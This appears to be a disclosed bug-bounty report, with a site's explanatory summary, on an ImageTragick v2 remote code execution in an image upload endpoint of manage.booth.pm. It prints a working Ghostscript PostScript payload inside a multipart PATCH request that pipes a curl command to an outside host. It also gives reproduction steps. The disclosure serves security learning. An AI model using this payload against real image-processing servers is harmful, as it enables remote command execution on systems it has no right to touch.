RCE due to ImageTragick v2
The image processing endpoint was vulnerable to ImageTragick v2, allowing an attacker to upload a crafted file that triggers Ghostscript to execute arbitrary commands. This could lead to remote code execution on the server.
- Triaged in 2 hours
- Fixed in 6 days
- Paid in 6 days
- Disclosed after 2.5 years
Hello Pixiv team! Your Image processing process suffering from ImageTragick v2. Issue is caused by ghostscript RCE findnings.
How to reproduce: PATCH /design Host: manage.booth.pm
send following image:
------WebKitFormBoundaryXX05yrKS4g8d9CWh
Content-Disposition: form-data; name="shop[header]"; filename="imagetragick.jpeg"
Content-Type: image/jpeg
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%curl https://avtohanter.ru/qwetest) currentdevice putdeviceprops
------WebKitFormBoundaryXX05yrKS4g8d9CWh--
How to fix: Update ImageMagick, should help
Impact
Remote Code Execution
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely, the application used an outdated ImageMagick version that allowed a crafted PostScript file to invoke Ghostscript and execute arbitrary commands.
Impact
An attacker could achieve remote code execution on the server.
What the attacker needed
Access to the /design endpoint; ability to send a PATCH request
How it was found
- Send a PATCH request to /design on manage.booth.pm.
- Include a multipart form with a file field named shop[header] containing a malicious PostScript file.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
ImageMagick is a tool that processes images. It can call Ghostscript to handle certain file types, but Ghostscript can be tricked into running commands if the file is crafted. Here, an attacker uploaded a malicious file that made the server run a command, giving them control.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.